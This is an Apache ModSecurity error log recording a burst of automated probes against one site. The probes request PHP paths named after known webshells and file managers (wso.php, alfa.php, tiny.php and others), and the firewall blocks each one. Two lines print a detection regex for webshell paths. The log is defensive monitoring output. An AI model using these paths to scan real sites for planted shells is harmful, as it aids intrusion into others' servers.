[Thu Mar 12 14:24:05.483732 2026] [:error] [pid 22063:tid 22084] [client 37.140.254.22:25231] [client 37.140.254.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mah/function.php"] [unique_id "abJcBa0RUhS-MJyHWLTW3AAAAhM"]
[Thu Mar 12 14:24:06.572545 2026] [:error] [pid 51540:tid 51566] [client 37.140.254.15:22837] [client 37.140.254.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "abJcBmOFFjotMIN2UD21DQAAANg"]
[Thu Mar 12 14:24:07.979798 2026] [:error] [pid 22063:tid 22067] [client 37.140.254.29:41599] [client 37.140.254.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "abJcB60RUhS-MJyHWLTW3gAAAgI"]
[Thu Mar 12 14:24:09.456688 2026] [:error] [pid 11953:tid 11963] [client 37.140.254.13:45259] [client 37.140.254.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "abJcCZudzqsnq3bvtDYJpQAAAUg"]
[Thu Mar 12 14:24:10.348462 2026] [:error] [pid 22063:tid 22085] [client 37.140.254.12:43479] [client 37.140.254.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "abJcCq0RUhS-MJyHWLTW4gAAAhQ"]
[Thu Mar 12 14:24:11.374886 2026] [:error] [pid 11985:tid 11999] [client 37.140.254.27:48689] [client 37.140.254.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "abJcC3cAcNujsOssVDf4vwAAAYg"]
[Thu Mar 12 14:24:12.844695 2026] [:error] [pid 51457:tid 51518] [client 37.140.254.18:27131] [client 37.140.254.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "abJcDCjknw2FvT4H3DaeOwAAAIQ"]
[Thu Mar 12 14:24:13.937031 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.12:59843] [client 37.140.254.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "abJcDSK5dL3-8Jdf0M2LSAAAAQo"]
[Thu Mar 12 14:24:15.935495 2026] [:error] [pid 51455:tid 51473] [client 37.140.254.39:36597] [client 37.140.254.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "abJcD5E0YyNxdg6PL_DPoQAAAA0"]
[Thu Mar 12 14:24:18.171012 2026] [:error] [pid 22063:tid 22073] [client 37.140.254.7:55011] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "abJcEq0RUhS-MJyHWLTW6AAAAgg"]
[Thu Mar 12 14:24:19.657001 2026] [:error] [pid 22063:tid 22088] [client 37.140.254.53:57687] [client 37.140.254.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "abJcE60RUhS-MJyHWLTW-AAAAhc"]
[Thu Mar 12 14:24:20.873439 2026] [:error] [pid 51540:tid 51561] [client 37.140.254.49:52849] [client 37.140.254.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "abJcFGOFFjotMIN2UD21JQAAANM"]
[Thu Mar 12 14:24:22.046017 2026] [:error] [pid 11985:tid 12002] [client 37.140.254.15:32643] [client 37.140.254.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "abJcFncAcNujsOssVDf4wQAAAYs"]
[Thu Mar 12 14:24:22.981601 2026] [:error] [pid 51455:tid 51481] [client 37.140.254.46:37467] [client 37.140.254.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "abJcFpE0YyNxdg6PL_DPqgAAABU"]
[Thu Mar 12 14:24:24.263279 2026] [:error] [pid 22063:tid 22088] [client 37.140.254.24:62983] [client 37.140.254.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "abJcGK0RUhS-MJyHWLTXAwAAAhc"]
[Thu Mar 12 14:24:25.589751 2026] [:error] [pid 8249:tid 8251] [client 37.140.254.46:44759] [client 37.140.254.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style2.php"] [unique_id "abJcGSK5dL3-8Jdf0M2LYwAAAQA"]
[Thu Mar 12 14:24:26.557595 2026] [:error] [pid 8249:tid 8256] [client 37.140.254.96:39309] [client 37.140.254.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "abJcGiK5dL3-8Jdf0M2LZgAAAQU"]
[Thu Mar 12 14:24:28.746749 2026] [:error] [pid 8249:tid 8272] [client 37.140.254.6:41063] [client 37.140.254.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "abJcHCK5dL3-8Jdf0M2LawAAARU"]
[Thu Mar 12 14:24:30.583021 2026] [:error] [pid 8249:tid 8252] [client 37.140.254.27:53279] [client 37.140.254.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/login.php"] [unique_id "abJcHiK5dL3-8Jdf0M2LbwAAAQE"]
[Thu Mar 12 14:24:33.043789 2026] [:error] [pid 8249:tid 8275] [client 37.140.254.33:54403] [client 37.140.254.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "abJcISK5dL3-8Jdf0M2LdgAAARg"]
[Thu Mar 12 14:24:34.770395 2026] [:error] [pid 8249:tid 8265] [client 37.140.254.28:57847] [client 37.140.254.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "abJcIiK5dL3-8Jdf0M2LfAAAAQ4"]
[Thu Mar 12 14:24:36.951452 2026] [:error] [pid 8249:tid 8257] [client 37.140.254.38:33157] [client 37.140.254.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "abJcJCK5dL3-8Jdf0M2LgQAAAQY"]
[Thu Mar 12 14:24:38.894228 2026] [:error] [pid 51455:tid 51483] [client 37.140.254.45:49007] [client 37.140.254.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/demo.php"] [unique_id "abJcJpE0YyNxdg6PL_DPvwAAABc"]
[Thu Mar 12 14:24:40.670567 2026] [:error] [pid 51457:tid 51537] [client 37.140.254.29:47459] [client 37.140.254.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "abJcKCjknw2FvT4H3DaePwAAAJc"]
[Thu Mar 12 14:24:41.582466 2026] [:error] [pid 8249:tid 8255] [client 37.140.254.30:38053] [client 37.140.254.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "abJcKSK5dL3-8Jdf0M2LhgAAAQQ"]
[Thu Mar 12 14:24:43.346424 2026] [:error] [pid 51455:tid 51474] [client 37.140.254.39:28451] [client 37.140.254.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "abJcK5E0YyNxdg6PL_DPxgAAAA4"]
[Thu Mar 12 14:24:44.463127 2026] [:error] [pid 11986:tid 12042] [client 37.140.254.14:24387] [client 37.140.254.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/user.php"] [unique_id "abJcLDKqY2w-DVCrxTDJYgAAAdg"]
[Thu Mar 12 14:24:45.951793 2026] [:error] [pid 51456:tid 51494] [client 37.140.254.33:21459] [client 37.140.254.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "abJcLRXu8LzVixNGr0tNAQAAAEc"]
[Thu Mar 12 14:24:46.853721 2026] [:error] [pid 8249:tid 8268] [client 37.140.254.42:31039] [client 37.140.254.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "abJcLiK5dL3-8Jdf0M2LnAAAARE"]
[Thu Mar 12 14:24:48.051244 2026] [:error] [pid 8249:tid 8268] [client 37.140.254.55:41761] [client 37.140.254.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "abJcMCK5dL3-8Jdf0M2LogAAARE"]
[Thu Mar 12 14:24:50.548518 2026] [:error] [pid 8249:tid 8267] [client 37.140.254.38:28327] [client 37.140.254.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "abJcMiK5dL3-8Jdf0M2LqgAAARA"]
[Thu Mar 12 14:24:51.662796 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.55:57223] [client 37.140.254.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abJcMyK5dL3-8Jdf0M2LrQAAAQo"]
[Thu Mar 12 14:24:52.647609 2026] [:error] [pid 8249:tid 8264] [client 37.140.254.38:46789] [client 37.140.254.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "abJcNCK5dL3-8Jdf0M2LsAAAAQ0"]
[Thu Mar 12 14:24:53.616331 2026] [:error] [pid 51455:tid 51463] [client 37.140.254.48:26121] [client 37.140.254.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "abJcNZE0YyNxdg6PL_DP0AAAAAM"]
[Thu Mar 12 14:24:56.845711 2026] [:error] [pid 51540:tid 51550] [client 37.140.254.56:25751] [client 37.140.254.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/scrollbottom/anamama-2.php"] [unique_id "abJcOGOFFjotMIN2UD21dwAAAMg"]
[Thu Mar 12 14:24:58.435246 2026] [:error] [pid 8249:tid 8267] [client 37.140.254.22:47201] [client 37.140.254.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "abJcOiK5dL3-8Jdf0M2LugAAARA"]
[Thu Mar 12 14:24:59.358170 2026] [:error] [pid 51455:tid 51462] [client 37.140.254.10:53929] [client 37.140.254.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "abJcO5E0YyNxdg6PL_DP2gAAAAI"]
[Thu Mar 12 14:25:00.578921 2026] [:error] [pid 51455:tid 51461] [client 37.140.254.22:20533] [client 37.140.254.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "abJcPJE0YyNxdg6PL_DP3QAAAAE"]
[Thu Mar 12 14:25:01.630888 2026] [:error] [pid 11986:tid 12018] [client 37.140.254.7:24809] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "abJcPTKqY2w-DVCrxTDJcwAAAcA"]
[Thu Mar 12 14:25:02.847417 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.28:32015] [client 37.140.254.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "abJcPiK5dL3-8Jdf0M2LvwAAAQo"]
[Thu Mar 12 14:25:03.956251 2026] [:error] [pid 51540:tid 51542] [client 37.140.254.56:47235] [client 37.140.254.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "abJcP2OFFjotMIN2UD21egAAAMA"]
[Thu Mar 12 14:25:06.145716 2026] [:error] [pid 8249:tid 8266] [client 37.140.254.14:25143] [client 37.140.254.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "abJcQiK5dL3-8Jdf0M2LwwAAAQ8"]
[Thu Mar 12 14:25:07.207903 2026] [:error] [pid 51455:tid 51475] [client 37.140.254.2:27219] [client 37.140.254.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "abJcQ5E0YyNxdg6PL_DP4gAAAA8"]
[Thu Mar 12 14:25:08.735649 2026] [:error] [pid 8249:tid 8275] [client 37.140.254.38:20641] [client 37.140.254.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "abJcRCK5dL3-8Jdf0M2LxgAAARg"]
[Thu Mar 12 14:25:10.386708 2026] [:error] [pid 51455:tid 51484] [client 37.140.254.40:32955] [client 37.140.254.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "abJcRpE0YyNxdg6PL_DP6gAAABg"]
[Thu Mar 12 14:25:12.556984 2026] [:error] [pid 51540:tid 51544] [client 37.140.254.54:30731] [client 37.140.254.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/ets_whatsapp/security.php"] [unique_id "abJcSGOFFjotMIN2UD21fgAAAMI"]
[Thu Mar 12 14:25:13.552914 2026] [:error] [pid 51455:tid 51474] [client 37.140.254.48:45825] [client 37.140.254.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "abJcSZE0YyNxdg6PL_DP9QAAAA4"]
[Thu Mar 12 14:25:14.764965 2026] [:error] [pid 51456:tid 51490] [client 37.140.254.15:62781] [client 37.140.254.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/index.php"] [unique_id "abJcShXu8LzVixNGr0tNBAAAAEM"]
[Thu Mar 12 14:25:16.069972 2026] [:error] [pid 22063:tid 22083] [client 37.140.254.26:42695] [client 37.140.254.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/protostar/error.php"] [unique_id "abJcTK0RUhS-MJyHWLTXFwAAAhI"]
[Thu Mar 12 14:25:17.379504 2026] [:error] [pid 51455:tid 51483] [client 37.140.254.32:39511] [client 37.140.254.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/error.php"] [unique_id "abJcTZE0YyNxdg6PL_DQAQAAABc"]
[Thu Mar 12 14:25:18.595876 2026] [:error] [pid 51540:tid 51566] [client 37.140.254.17:23085] [client 37.140.254.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/jsstrings.php"] [unique_id "abJcTmOFFjotMIN2UD21ggAAANg"]
[Thu Mar 12 14:25:19.845662 2026] [:error] [pid 51455:tid 51478] [client 37.140.254.30:55395] [client 37.140.254.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/atomic/index.php"] [unique_id "abJcT5E0YyNxdg6PL_DQCwAAABI"]
[Thu Mar 12 14:25:22.055773 2026] [:error] [pid 51455:tid 51464] [client 37.140.254.4:59347] [client 37.140.254.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/error.php"] [unique_id "abJcUpE0YyNxdg6PL_DQEQAAAAQ"]
[Thu Mar 12 14:25:23.684153 2026] [:error] [pid 51455:tid 51463] [client 37.140.254.7:46159] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/ja_purity/index.php"] [unique_id "abJcU5E0YyNxdg6PL_DQEwAAAAM"]
